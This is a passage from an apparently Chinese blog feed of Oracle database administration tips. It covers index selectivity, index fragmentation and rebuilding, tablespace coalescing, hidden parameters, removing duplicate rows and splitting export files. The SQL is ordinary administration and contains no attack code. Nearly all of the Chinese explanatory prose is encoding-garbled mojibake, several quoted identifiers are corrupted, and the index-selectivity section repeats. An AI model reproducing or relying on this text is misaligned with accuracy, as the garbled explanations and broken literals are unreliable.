絎竴鍒梶|'%'||絎簩鍒?/count(*)<br />from 琛ㄥ悕<br />/</td></tr></tbody></table><br />銆銆濡傛灉鎴戜滑鐭ラ亾鍏朵腑涓鍒楃儲寮曠殑閫夋嫨鎬э紙渚嬪鍏朵腑涓鍒楁槸涓婚敭錛夛紝閭d箞鎴戜滑灝卞彲浠ョ煡閬撳彟涓鍒楃儲寮曠殑閫夋嫨鎬с?br /><br />銆銆鎵嬪伐鏂規(guī)硶鐨勪紭鐐規(guī)槸鍦ㄥ垱寤虹儲寮曞墠灝辮兘璇勪及绱㈠紩鐨勯夋嫨鎬с?br /><br />銆銆錛?錛夎嚜鍔ㄦ祴閲忕儲寮曠殑閫夋嫨鎬?br /><br />銆銆濡傛灉鍒嗘瀽涓涓〃錛屼篃浼?xì)鑷姩鍒嗘瀽鎵鏈夎〃鐨勭儲寮曘?br /><br />銆銆絎竴錛屼負(fù)浜嗙‘瀹氫竴涓〃鐨勭‘瀹氭э紝灝辮鍒嗘瀽琛ㄣ?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze table 琛ㄥ悕 <br />compute statistics<br />/</td></tr></tbody></table><br />銆銆絎簩錛岀‘瀹氱儲寮曢噷涓嶅悓鍏抽敭瀛楃殑鏁扮洰錛?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select distinct_keys<br />from user_indexes<br />where table_name='琛ㄥ悕'<br />and index_name='绱㈠紩鍚?<br />/</td></tr></tbody></table><br />銆銆絎笁錛岀‘瀹氳〃涓鐨勬繪暟錛?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select num_rows<br />from user_tables<br />where table_name='琛ㄥ悕'<br />/ </td></tr></tbody></table><br />銆銆絎洓錛岀儲寮曠殑閫夋嫨鎬?绱㈠紩閲屼笉鍚屽叧閿瓧鐨勬暟鐩?琛ㄤ腑琛岀殑鎬繪暟錛?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select i.distinct_keys/t.num_rows<br />from<br />user_indexes i,<br />user_tables t<br />where i.table_name='琛ㄥ悕'<br />and i.index_name='绱㈠紩鍚?<br />and i.table_name=t.table_name<br />/</td></tr></tbody></table><br />銆銆絎簲錛屽彲浠ユ煡璇SER_TAB_COLUMNS浠ヤ簡瑙f瘡涓垪鐨勯夋嫨鎬с?br /><br />銆銆琛ㄤ腑鎵鏈夎鍦ㄨ鍒楃殑涓嶅悓鍊肩殑鏁扮洰錛?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />column_name,<br />num_distinct<br />from user_tab_columns<br />where table_name='琛ㄥ悕'<br />/</td></tr></tbody></table><br />銆銆鍒楃殑閫夋嫨鎬?NUM_DISTINCT/琛ㄤ腑鎵鏈夎鐨勬繪暟錛屾煡璇SER_TAB_COLUMNS鏈夊姪嫻嬮噺姣忎釜鍒楃殑閫夋嫨鎬э紝浣嗗畠騫朵笉鑳界簿紜湴嫻嬮噺鍒楃殑騫剁疆緇勫悎鐨勯夋嫨鎬с傝鎯蟲祴閲忎竴緇勫垪鐨勯夋嫨鎬э紝闇瑕侀噰鐢ㄦ墜宸ユ柟娉曟垨鑰呮牴鎹繖緇勫垪鍒涘緩涓涓儲寮曞茍閲嶆柊鍒嗘瀽琛ㄣ?br /><br />銆銆<b>鍥? 紜畾绱㈠紩鐨勫疄闄呯鐗?/b><br /><br />銆銆闅忕潃鏁版嵁搴撶殑浣跨敤錛屼笉鍙伩鍏嶅湴瀵瑰熀鏈〃榪涜鎻掑叆錛屾洿鏂板拰鍒犻櫎錛岃繖鏍峰鑷村彾瀛愯鍦ㄧ儲寮曚腑琚垹闄わ紝浣胯绱㈠紩浜х敓紕庣墖銆傛彃鍏ュ垹闄よ秺棰戠箒鐨勮〃錛岀儲寮曠鐗囩殑紼嬪害涔熻秺楂樸傜鐗囩殑浜х敓浣胯闂拰浣跨敤璇ョ儲寮曠殑I/O鎴愭湰澧炲姞銆傜鐗囪緝楂樼殑绱㈠紩蹇呴』閲嶅緩浠ヤ繚鎸佹渶浣蟲ц兘銆?br /><br />銆銆錛?錛夊埄鐢ㄩ獙璇佺儲寮曞懡浠ゅ绱㈠紩榪涜楠岃瘉銆?br /><br />銆銆榪欏皢鏈変環(huán)鍊肩殑绱㈠紩淇℃伅濉叆index_stats琛ㄣ?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>validate index 鐢ㄦ埛鍚?绱㈠紩鍚?br />/</td></tr></tbody></table><br />銆銆錛?錛夋煡璇ndex_stats琛ㄤ互紜畾绱㈠紩涓垹闄ょ殑銆佹湭濉弧鐨勫彾瀛愯鐨勭櫨鍒嗘瘮銆?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />name,<br />del_lf_rows,<br />lf_rows,<br />round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"<br />from index_stats<br />/</td></tr></tbody></table><br />銆銆錛?錛夊鏋滅儲寮曠殑鍙跺瓙琛岀殑紕庣墖瓚呰繃10%錛岃冭檻瀵圭儲寮曡繘琛岄噸寤恒?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index 鐢ㄦ埛鍚?绱㈠紩鍚?rebuild<br />tablespace 琛ㄧ┖闂村悕<br />storage(initial 鍒濆鍊?next 鎵╁睍鍊?<br />nologging<br />/</td></tr></tbody></table><br />銆銆錛?錛夊鏋滃嚭浜庣┖闂存垨鍏朵粬鑰冭檻錛屼笉鑳介噸寤虹儲寮曪紝鍙互鏁寸悊绱㈠紩銆?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index鐢ㄦ埛鍚?绱㈠紩鍚?coalesce<br />/</td></tr></tbody></table><br />銆銆錛?錛夋竻闄ゅ垎鏋愪俊鎭?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze index 鐢ㄦ埛鍚?绱㈠紩鍚?br />delete statistics<br />/</td></tr></tbody></table><br /><strong>涓? 绱㈠紩鐨勯夋嫨鎬?br /><br /></strong>銆銆绱㈠紩鐨勯夋嫨鎬ф槸鎸囩儲寮曞垪涓笉鍚屽肩殑鏁扮洰涓庤〃涓褰曟暟鐨勬瘮銆傚鏋滀竴涓〃涓湁2000鏉¤褰曪紝琛ㄧ儲寮曞垪鏈?980涓笉鍚岀殑鍊鹼紝閭d箞榪欎釜绱㈠紩鐨勯夋嫨鎬у氨鏄?980/2000=0.99銆?br /><br />銆銆涓涓儲寮曠殑閫夋嫨鎬ц秺鎺ヨ繎浜?錛岃繖涓儲寮曠殑鏁堢巼灝辮秺楂樸?br /><br />銆銆濡傛灉鏄嬌鐢ㄥ熀浜巆ost鐨勬渶浼樺寲錛屼紭鍖栧櫒涓嶅簲璇ヤ嬌鐢ㄩ夋嫨鎬т笉濂界殑绱㈠紩銆傚鏋滄槸浣跨敤鍩轟簬rule鐨勬渶浼樺寲錛屼紭鍖栧櫒鍦ㄧ‘瀹氭墽琛岃礬寰勬椂涓嶄細(xì)鑰冭檻绱㈠紩鐨勯夋嫨鎬э紙闄ら潪鏄敮涓鎬х儲寮曪級錛屽茍涓斾笉寰椾笉鎵嬪伐浼樺寲鏌ヨ浠ラ伩鍏嶄嬌鐢ㄩ潪閫夋嫨鎬х殑绱㈠紩銆?br /><br />銆銆紜畾绱㈠紩鐨勯夋嫨鎬э紝鍙互鏈変袱縐嶆柟娉曪細(xì)鎵嬪伐嫻嬮噺鍜岃嚜鍔ㄦ祴閲忋?br /><br />銆銆錛?錛夋墜宸ユ祴閲忕儲寮曠殑閫夋嫨鎬?br /><br />銆銆濡傛灉瑕佹牴鎹竴涓〃鐨勪袱鍒楀垱寤轟袱鍒楀茍緗儲寮曪紝鍙互鐢ㄤ互涓嬫柟娉曟祴閲忕儲寮曠殑閫夋嫨鎬э細(xì)<br /><br />銆銆鍒楃殑閫夋嫨鎬?涓嶅悓鍊肩殑鏁扮洰/琛岀殑鎬繪暟 /* 瓚婃帴榪?瓚婂ソ */<br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select count(distinct 絎竴鍒梶|'%'||絎簩鍒?/count(*)<br />from 琛ㄥ悕<br />/</td></tr></tbody></table><br />銆銆濡傛灉鎴戜滑鐭ラ亾鍏朵腑涓鍒楃儲寮曠殑閫夋嫨鎬э紙渚嬪鍏朵腑涓鍒楁槸涓婚敭錛夛紝閭d箞鎴戜滑灝卞彲浠ョ煡閬撳彟涓鍒楃儲寮曠殑閫夋嫨鎬с?br /><br />銆銆鎵嬪伐鏂規(guī)硶鐨勪紭鐐規(guī)槸鍦ㄥ垱寤虹儲寮曞墠灝辮兘璇勪及绱㈠紩鐨勯夋嫨鎬с?br /><br />銆銆錛?錛夎嚜鍔ㄦ祴閲忕儲寮曠殑閫夋嫨鎬?br /><br />銆銆濡傛灉鍒嗘瀽涓涓〃錛屼篃浼?xì)鑷姩鍒嗘瀽鎵鏈夎〃鐨勭儲寮曘?br /><br />銆銆絎竴錛屼負(fù)浜嗙‘瀹氫竴涓〃鐨勭‘瀹氭э紝灝辮鍒嗘瀽琛ㄣ?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze table 琛ㄥ悕 <br />compute statistics<br />/</td></tr></tbody></table><br />銆銆絎簩錛岀‘瀹氱儲寮曢噷涓嶅悓鍏抽敭瀛楃殑鏁扮洰錛?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select distinct_keys<br />from user_indexes<br />where table_name='琛ㄥ悕'<br />and index_name='绱㈠紩鍚?<br />/</td></tr></tbody></table><br />銆銆絎笁錛岀‘瀹氳〃涓鐨勬繪暟錛?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select num_rows<br />from user_tables<br />where table_name='琛ㄥ悕'<br />/ </td></tr></tbody></table><br />銆銆絎洓錛岀儲寮曠殑閫夋嫨鎬?绱㈠紩閲屼笉鍚屽叧閿瓧鐨勬暟鐩?琛ㄤ腑琛岀殑鎬繪暟錛?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select i.distinct_keys/t.num_rows<br />from<br />user_indexes i,<br />user_tables t<br />where i.table_name='琛ㄥ悕'<br />and i.index_name='绱㈠紩鍚?<br />and i.table_name=t.table_name<br />/</td></tr></tbody></table><br />銆銆絎簲錛屽彲浠ユ煡璇SER_TAB_COLUMNS浠ヤ簡瑙f瘡涓垪鐨勯夋嫨鎬с?br /><br />銆銆琛ㄤ腑鎵鏈夎鍦ㄨ鍒楃殑涓嶅悓鍊肩殑鏁扮洰錛?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />column_name,<br />num_distinct<br />from user_tab_columns<br />where table_name='琛ㄥ悕'<br />/</td></tr></tbody></table><br />銆銆鍒楃殑閫夋嫨鎬?NUM_DISTINCT/琛ㄤ腑鎵鏈夎鐨勬繪暟錛屾煡璇SER_TAB_COLUMNS鏈夊姪嫻嬮噺姣忎釜鍒楃殑閫夋嫨鎬э紝浣嗗畠騫朵笉鑳界簿紜湴嫻嬮噺鍒楃殑騫剁疆緇勫悎鐨勯夋嫨鎬с傝鎯蟲祴閲忎竴緇勫垪鐨勯夋嫨鎬э紝闇瑕侀噰鐢ㄦ墜宸ユ柟娉曟垨鑰呮牴鎹繖緇勫垪鍒涘緩涓涓儲寮曞茍閲嶆柊鍒嗘瀽琛ㄣ?br /><br />銆銆<b>鍥? 紜畾绱㈠紩鐨勫疄闄呯鐗?/b><br /><br />銆銆闅忕潃鏁版嵁搴撶殑浣跨敤錛屼笉鍙伩鍏嶅湴瀵瑰熀鏈〃榪涜鎻掑叆錛屾洿鏂板拰鍒犻櫎錛岃繖鏍峰鑷村彾瀛愯鍦ㄧ儲寮曚腑琚垹闄わ紝浣胯绱㈠紩浜х敓紕庣墖銆傛彃鍏ュ垹闄よ秺棰戠箒鐨勮〃錛岀儲寮曠鐗囩殑紼嬪害涔熻秺楂樸傜鐗囩殑浜х敓浣胯闂拰浣跨敤璇ョ儲寮曠殑I/O鎴愭湰澧炲姞銆傜鐗囪緝楂樼殑绱㈠紩蹇呴』閲嶅緩浠ヤ繚鎸佹渶浣蟲ц兘銆?br /><br />銆銆錛?錛夊埄鐢ㄩ獙璇佺儲寮曞懡浠ゅ绱㈠紩榪涜楠岃瘉銆?br /><br />銆銆榪欏皢鏈変環(huán)鍊肩殑绱㈠紩淇℃伅濉叆index_stats琛ㄣ?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>validate index 鐢ㄦ埛鍚?绱㈠紩鍚?br />/</td></tr></tbody></table><br />銆銆錛?錛夋煡璇ndex_stats琛ㄤ互紜畾绱㈠紩涓垹闄ょ殑銆佹湭濉弧鐨勫彾瀛愯鐨勭櫨鍒嗘瘮銆?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>select<br />name,<br />del_lf_rows,<br />lf_rows,<br />round((del_lf_rows/(lf_rows+0.0000000001))*100) "Frag Percent"<br />from index_stats<br />/</td></tr></tbody></table><br />銆銆錛?錛夊鏋滅儲寮曠殑鍙跺瓙琛岀殑紕庣墖瓚呰繃10%錛岃冭檻瀵圭儲寮曡繘琛岄噸寤恒?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index 鐢ㄦ埛鍚?绱㈠紩鍚?rebuild<br />tablespace 琛ㄧ┖闂村悕<br />storage(initial 鍒濆鍊?next 鎵╁睍鍊?<br />nologging<br />/</td></tr></tbody></table><br />銆銆錛?錛夊鏋滃嚭浜庣┖闂存垨鍏朵粬鑰冭檻錛屼笉鑳介噸寤虹儲寮曪紝鍙互鏁寸悊绱㈠紩銆?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>alter index鐢ㄦ埛鍚?绱㈠紩鍚?coalesce<br />/</td></tr></tbody></table><br />銆銆錛?錛夋竻闄ゅ垎鏋愪俊鎭?br /><br /><table width="100%" bgcolor="#ffffff"><tbody><tr><td>analyze index 鐢ㄦ埛鍚?绱㈠紩鍚?br />delete statistics<br />/</td></tr></tbody></table><p><br />聽</p><p>浜? 閲嶅緩绱㈠紩</p><p>銆銆錛?錛夋鏌ラ渶瑕侀噸寤虹殑绱㈠紩銆?/p><p>銆銆鏍規(guī)嵁浠ヤ笅鍑犳柟闈㈣繘琛屾鏌ワ紝紜畾闇瑕侀噸寤虹殑绱㈠紩銆?/p><p>銆銆絎竴錛屾煡鐪婼YSTEM琛ㄧ┖闂翠腑鐨勭敤鎴風(fēng)儲寮曘?/p><p>銆銆涓轟簡閬垮厤鏁版嵁瀛楀吀鐨勭鐗囧嚭鐜幫紝瑕佸敖閲忛伩鍏嶅湪SYSTEM琛ㄧ┖闂村嚭鐜扮敤鎴風(fēng)殑琛ㄥ拰绱㈠紩銆?/p><p>select index_name <br />from dba_indexes <br />where tablespace_name='SYSTEM' <br />and owner not in ('SYS','SYSTEM')<br />/ </p><p>銆銆絎簩錛岀‘淇濈敤鎴風(fēng)殑琛ㄥ拰绱㈠紩涓嶅湪鍚屼竴琛ㄧ┖闂村唴銆?/p><p>銆銆琛ㄥ拰绱㈠紩瀵硅薄鐨勭涓涓鍒欐槸鎶婅〃鍜岀儲寮曞垎紱匯傛妸琛ㄥ拰鐩稿簲鐨勭儲寮曞緩绔嬪湪涓嶅悓鐨勮〃絀洪棿涓紝鏈濂藉湪涓嶅悓鐨勭鐩樹笂銆傝繖鏍峰彲浠ラ伩鍏嶅湪鏁版嵁綆$悊鍜屾煡璇㈡椂鍑虹幇鐨勮澶欼/O鍐茬獊銆?/p><p>set linesize 120<br />col "OWNER" format a20<br />col "INDEX" format a30<br />col "TABLE" format a30<br />col "TABLESPACE" format a30<br />select<br />i.owner "OWNER", <br />i.index_name "INDEX",<br />t.table_name "TABLE",<br />i.tablespace_name "TABLESPACE"<br />from <br />dba_indexes i,<br />dba_tables t<br />where i.owner=t.owner<br />and i.table_name=t.table_name<br />and i.tablespace_name=t.tablespace_name<br />and i.owner not in ('SYS','SYSTEM')<br />/ </p><p>銆銆絎笁錛屾煡鐪嬫暟鎹〃絀洪棿閲屾湁鍝簺绱㈠紩</p><p>銆銆鐢ㄦ埛鐨勯粯璁よ〃絀洪棿搴旇涓嶆槸SYSTEM琛ㄧ┖闂達(dá)紝鑰屾槸鏁版嵁琛ㄧ┖闂淬傚湪寤虹珛绱㈠紩鏃訛紝濡傛灉涓嶆寚瀹氱浉搴旂殑绱㈠紩琛ㄧ┖闂村悕錛岄偅涔堬紝璇ョ儲寮曞氨浼?xì)寰忕珛鍦ㄦ暟鎹〃绌洪棿涓傝繖鏄▼搴忓憳緇忓父蹇界暐鐨勪竴涓棶棰樸傚簲璇ュ湪寤虹儲寮曟椂錛屾槑紜殑鎸囨槑鐩稿簲鐨勭儲寮曡〃絀洪棿銆?/p><p>col segment_name format a30<br />select <br />owner,<br />segment_name,<br />sum(bytes) <br />from dba_segments<br />where tablespace_name='鏁版嵁琛ㄧ┖闂村悕'<br />and segment_type='INDEX'<br />group by owner,segment_name<br />/ </p><p>銆銆絎洓錛屾煡鐪嬪摢涓儲寮曡鎵╁睍浜嗚秴榪?0嬈?/p><p>銆銆闅忕潃琛ㄨ褰曠殑澧炲姞錛岀浉搴旂殑绱㈠紩涔熻澧炲姞銆傚鏋滀竴涓儲寮曠殑next extent鍊艱緗笉鍚堢悊錛堝お灝忥級錛岀儲寮曟鐨勬墿灞曞彉寰楀緢棰戠箒銆傜儲寮曠殑extent澶錛屾绱㈡椂鐨勯熷害鍜屾晥鐜囧氨浼?xì)闄嶄綆銆?/p><p>set linesize 100<br />col owner format a10<br />col segment_name format a30<br />col tablespace_name format a30<br />select<br />count(*),<br />owner,<br />segment_name,<br />tablespace_name<br />from dba_extents<br />where segment_type='INDEX'<br />and owner not in ('SYS','SYSTEM')<br />group by owner,segment_name,tablespace_name<br />having count(*) >10<br />order by count(*) desc<br />/<br />聽</p><p>銆銆錛?錛夋壘鍑洪渶瑕侀噸寤虹殑绱㈠紩鍚庯紝闇瑕佺‘瀹氱儲寮曠殑澶у皬錛屼互璁劇疆鍚堢悊鐨勭儲寮曞瓨鍌ㄥ弬鏁般?/p><p>set linesize 120<br />col "INDEX" format a30<br />col "TABLESPACE" format a20<br />select<br />owner "OWNER",<br />segment_name "INDEX",<br />tablespace_name "TABLESPACE",<br />bytes "BYTES/COUNT",<br />sum(bytes) "TOTAL BYTES",<br />round(sum(bytes)/(1024*1024),0) "TOTAL M",<br />count(bytes) "TOTAL COUNT"<br />from dba_extents<br />where segment_type='INDEX' <br />and segment_name in <br />(<br />'绱㈠紩鍚?',<br />'绱㈠紩鍚?',<br />......<br />)<br />group by owner,segment_name,segment_type,tablespace_name,bytes<br />order by owner,segment_name<br />/ </p><p>銆銆錛?錛夌‘瀹氱儲寮曡〃絀洪棿榪樻湁瓚沖鐨勫墿浣欑┖闂淬?/p><p>銆銆紜畾瑕佹妸绱㈠紩閲嶅緩鍒板摢涓儲寮曡〃絀洪棿涓傝淇濊瘉鐩稿簲鐨勭儲寮曡〃絀洪棿鏈夎凍澶熺殑鍓╀綑絀洪棿銆?/p><p>select round(bytes/(1024*1024),2) free(M)<br />from sm$ts_free<br />where tablespace_name='琛ㄧ┖闂村悕'<br />/ </p><p>銆銆錛?錛夐噸寤虹儲寮曘?/p><p>銆銆閲嶅緩绱㈠紩鏃惰娉ㄦ剰浠ヤ笅鍑犵偣錛?/p><p>銆銆a.濡傛灉涓嶆寚瀹歵ablespace鍚嶏紝绱㈠紩灝嗗緩鍦ㄧ敤鎴風(fēng)殑榛樿琛ㄧ┖闂淬?/p><p>銆銆b.濡傛灉涓嶆寚瀹歯ologging錛屽皢浼?xì)鍐欐棩蹇楀Q屽鑷撮熷害鍙樻參銆傜敱浜庣儲寮曠殑閲嶅緩娌℃湁鎭㈠鐨勫繀瑕侊紝鎵浠ワ紝鍙互涓嶅啓鏃ュ織銆?/p><p>銆銆c.濡傛灉鍑虹幇璧勬簮蹇欙紝琛ㄦ槑鏈夎繘紼嬫鍦ㄤ嬌鐢ㄨ绱㈠紩錛岀瓑寰呬竴浼?xì)鍐嶆彁浜ゃ?/p><p>alter index 绱㈠紩鍚?br />rebuild<br />tablespace 绱㈠紩琛ㄧ┖闂村悕<br />storage(initial 鍒濆鍊?next 鎵╁睍鍊?<br />nologging<br />/ </p><p>銆銆錛?錛夋鏌ョ儲寮曘?/p><p>銆銆瀵歸噸寤哄ソ鐨勭儲寮曡繘琛屾鏌ャ?/p><p>select *<br />from dba_extents<br />where segment_name='绱㈠紩鍚?<br />/ </p><p>銆銆錛?錛夋牴鎹儲寮曡繘琛屾煡璇紝媯鏌ョ儲寮曟槸鍚︽湁鏁?/p><p>銆銆浣跨敤鐩稿簲鐨剋here鏉′歡榪涜鏌ヨ錛岀‘淇濅嬌鐢ㄨ绱㈠紩銆傜湅鐪嬩嬌鐢ㄧ儲寮曞悗鐨勬晥鏋滃浣曘?/p><p>select *<br />from dba_ind_columns<br />where index_name like '琛ㄥ悕%'<br />/ </p><p>銆銆鐒跺悗錛屾牴鎹浉搴旂殑绱㈠紩欏硅繘琛屾煡璇€?/p><p>select *<br />from '琛ㄥ悕%'<br />where ......<br />/ </p><p>銆銆錛?錛夋壘鍑烘湁紕庣墖鐨勮〃絀洪棿錛屽茍鏀墮泦鍏剁鐗囥?/p><p>銆銆閲嶅緩绱㈠紩鍚庯紝鍘熸湁鐨勭儲寮曡鍒犻櫎錛岃繖鏍蜂細(xì)閫犳垚琛ㄧ┖闂寸殑紕庣墖銆?/p><p>select 'alter tablespace '||tablespace_name||' coalesce;'<br />from dba_free_space_coalesced<br />where percent_blocks_coalesced!=100<br />/ </p><p>銆銆鏁寸悊琛ㄧ┖闂寸殑紕庣墖銆?/p><p>alter tablespace 琛ㄧ┖闂村悕 coalesce<br /></p><img src ="http://m.tkk7.com/19851985lili/aggbug/102519.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/19851985lili/" target="_blank">鈽溾櫏鈽濵engChuChen</a> 2007-03-08 08:45 <a href="http://m.tkk7.com/19851985lili/articles/102519.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title> Oracle 甯哥敤鎶宸у拰鑴氭湰 閫夋嫨鑷?yanlixin4csdn 鐨?Blog http://m.tkk7.com/19851985lili/articles/102517.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenThu, 08 Mar 2007 00:42:00 GMThttp://m.tkk7.com/19851985lili/articles/102517.htmlhttp://m.tkk7.com/19851985lili/comments/102517.htmlhttp://m.tkk7.com/19851985lili/articles/102517.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/102517.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/102517.html
聽濡備綍鏌ョ湅ORACLE鐨勯殣鍚弬鏁幫紵


ORACLE鐨勬樉寮忓弬鏁幫紝闄や簡鍦↖NIT.ORA鏂囦歡涓畾涔夌殑澶栵紝鍦╯vrmgrl涓敤"show parameter *"錛屽彲浠ユ樉紺恒備絾ORACLE榪樻湁涓浜涘弬鏁版槸浠モ淿鈥濓紝寮澶寸殑銆傚鎴戜滑闈炲父鐔熸?zhèn)夌殑鈥淿offline_rollback_segments鈥濈瓑銆?

榪欎簺鍙傛暟鍙湪sys.x$ksppi琛ㄤ腑鏌ュ嚭銆?

璇彞錛氣渟elect ksppinm from x$ksppi where substr(ksppinm,1,1)='_'; 鈥?




2. 濡備綍鏌ョ湅瀹夎浜嗗摢浜汷RACLE緇勪歡錛?

榪涘叆${ORACLE_HOME}/orainst/錛岃繍琛?/inspdver錛屾樉紺哄畨瑁呯粍浠跺拰鐗堟湰鍙楓?



3. 濡備綍鏌ョ湅ORACLE鎵鍗犵敤鍏變韓鍐呭瓨鐨勫ぇ灝忥紵

鍙敤UNIX鍛戒護(hù)鈥渋pcs鈥濇煡鐪嬪叡浜唴瀛樼殑璧峰鍦板潃銆佷俊鍙烽噺銆佹秷鎭槦鍒椼?

鍦╯vrmgrl涓嬶紝鐢ㄢ渙radebug ipc鈥濓紝鍙湅鍑篛RACLE鍗犵敤鍏變韓鍐呭瓨鐨勫垎孌靛拰澶у皬銆?

example:

SVRMGR> oradebug ipc
-------------- Shared memory --------------

Seg Id Address Size
1153 7fe000 784
1154 800000 419430400
1155 19800000 67108864


4. 濡備綍鏌ョ湅褰撳墠SQL*PLUS鐢ㄦ埛鐨剆id鍜宻erial#?

鍦⊿QL*PLUS涓嬶紝榪愯錛?

鈥渟elect sid, serial#, status from v$session

where audsid=userenv('sessionid');鈥?



5. 濡備綍鏌ョ湅褰撳墠鏁版嵁搴撶殑瀛楃闆嗭紵

鍦⊿QL*PLUS涓嬶紝榪愯錛?

鈥渟elect userenv('language') from dual;鈥?

鎴栵細(xì)

鈥渟elect userenv('lang') from dual;鈥?



6. 濡備綍鏌ョ湅鏁版嵁搴撲腑鏌愮敤鎴鳳紝姝e湪榪愯浠涔圫QL璇彞錛?

鏍規(guī)嵁MACHINE銆乁SERNAME鎴朣ID銆丼ERIAL#錛岃繛鎺ヨ〃V$SESSION鍜孷$SQLTEXT錛屽彲鏌ュ嚭銆?

SQL*PLUS璇彞錛?

鈥淪ELECT SQL_TEXT FROM V$SQL_TEXT T, V$SESSION S WHERE T.ADDRESS=S.SQL_ADDRESS

AND T.HASH_VALUE=S.SQL_HASH_VALUE

AND S.MACHINE='XXXXX' OR USERNAME='XXXXX' -- 鏌ョ湅鏌愪富鏈哄悕錛屾垨鐢ㄦ埛鍚?

/鈥?

7. 濡備綍鍒犻櫎琛ㄤ腑鐨勯噸澶嶈褰曪紵

渚嬪彞錛?

DELETE
FROM table_name a
WHERE rowid > ( SELECT min(rowid)
FROM table_name b
WHERE b.pk_column_1 = a.pk_column_1
and b.pk_column_2 = a.pk_column_2 );


8. 鎵嬪伐涓存椂寮哄埗鏀瑰彉鏈嶅姟鍣ㄥ瓧絎﹂泦

浠ys鎴杝ystem鐧誨綍緋葷粺錛宻ql*plus榪愯錛氣渃reate database character set us7ascii;".
鏈変互涓嬮敊璇彁紺猴細(xì)
* create database character set US7ASCII
ERROR at line 1:
ORA-01031: insufficient privileges
瀹為檯涓婏紝鐪媣$nls_parameters錛屽瓧絎﹂泦宸叉洿鏀規(guī)垚鍔熴備絾閲嶅惎鏁版嵁搴撳悗錛屾暟鎹簱瀛楃闆嗗張鍙樺洖鍘熸潵鐨勪簡銆?
璇ュ懡浠ゅ彲鐢ㄤ簬涓存椂鐨勪笉鍚屽瓧絎﹂泦鏈嶅姟鍣ㄤ箣闂存暟鎹掓崲涔嬬敤銆?
9. 鎬庢牱鏌ヨ姣忎釜instance鍒嗛厤鐨凱CM閿佺殑鏁扮洰

鐢ㄤ互涓嬪懡浠わ細(xì)

select count(*) "Number of hashed PCM locks" from v$lock_element where bitand(flags,4)<>0

/

select count(*) "Number of fine grain PCM locks" from v$lock_element

where bitand(flags,4)=0

/

10. 鎬庝箞鍒ゆ柇褰撳墠姝e湪浣跨敤浣曠SQL浼樺寲鏂瑰紡錛?

鐢╡xplain plan浜х敓EXPLAIN PLAN錛屾鏌LAN_TABLE涓璉D=0鐨凱OSITION鍒楃殑鍊箋?

e.g.

select decode(nvl(position,-1),-1,'RBO',1,'CBO') from plan_table where id=0

/

11. 鍋欵XPORT鏃訛紝鑳藉惁灝咲UMP鏂囦歡鍒嗘垚澶氫釜錛?

ORACLE8I涓璄XP澧炲姞浜嗕竴涓弬鏁癋ILESIZE錛屽彲灝嗕竴涓枃浠跺垎鎴愬涓細(xì)

EXP SCOTT/TIGER FILE=錛圤RDER_1.DMP,ORDER_2.DMP,ORDER_3.DMP) FILESIZE=1G TABLES=ORDER錛?



鍏朵粬鐗堟湰鐨凮RACLE鍦║NIX涓嬪彲鍒╃敤綆¢亾鍜宻plit鍒嗗壊錛?

mknod pipe p

split -b 2048m pipe order & #灝嗘枃浠跺垎鍓叉垚錛屾瘡涓?GB澶у皬鐨勶紝浠rder涓哄墠緙鐨勬枃浠訛細(xì)

#orderaa,orderab,orderac,... 騫跺皢璇ヨ繘紼嬫斁鍦ㄥ悗鍙般?

EXP SCOTT/TIGER FILE=pipe tables=order


]]>
ORACLE 鏉傝皥 http://m.tkk7.com/19851985lili/articles/102514.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenThu, 08 Mar 2007 00:40:00 GMThttp://m.tkk7.com/19851985lili/articles/102514.htmlhttp://m.tkk7.com/19851985lili/comments/102514.htmlhttp://m.tkk7.com/19851985lili/articles/102514.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/102514.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/102514.html闃呰鍏ㄦ枃

]]>
甯哥敤SQL璧勬枡 http://m.tkk7.com/19851985lili/articles/102516.html鈽溾櫏鈽濵engChuChen鈽溾櫏鈽濵engChuChenThu, 08 Mar 2007 00:40:00 GMThttp://m.tkk7.com/19851985lili/articles/102516.htmlhttp://m.tkk7.com/19851985lili/comments/102516.htmlhttp://m.tkk7.com/19851985lili/articles/102516.html#Feedback0http://m.tkk7.com/19851985lili/comments/commentRss/102516.htmlhttp://m.tkk7.com/19851985lili/services/trackbacks/102516.html 聽甯哥敤SQL璧勬枡
Transact-SQL鍏蜂綋鍙互鍙傞槄銆奣ransact-SQL鍙傝冦?tsql.hlp)(綆鍐欍奣-SQL銆?
寤烘剰錛?/div>
聽 鍦ㄥ啓SQL Script鏃舵渶濂借兘灝嗘暟鎹搷浣淪QL鐨勪繚鐣欏瓧鐢ㄥぇ鍐?/div>
娉細(xì)
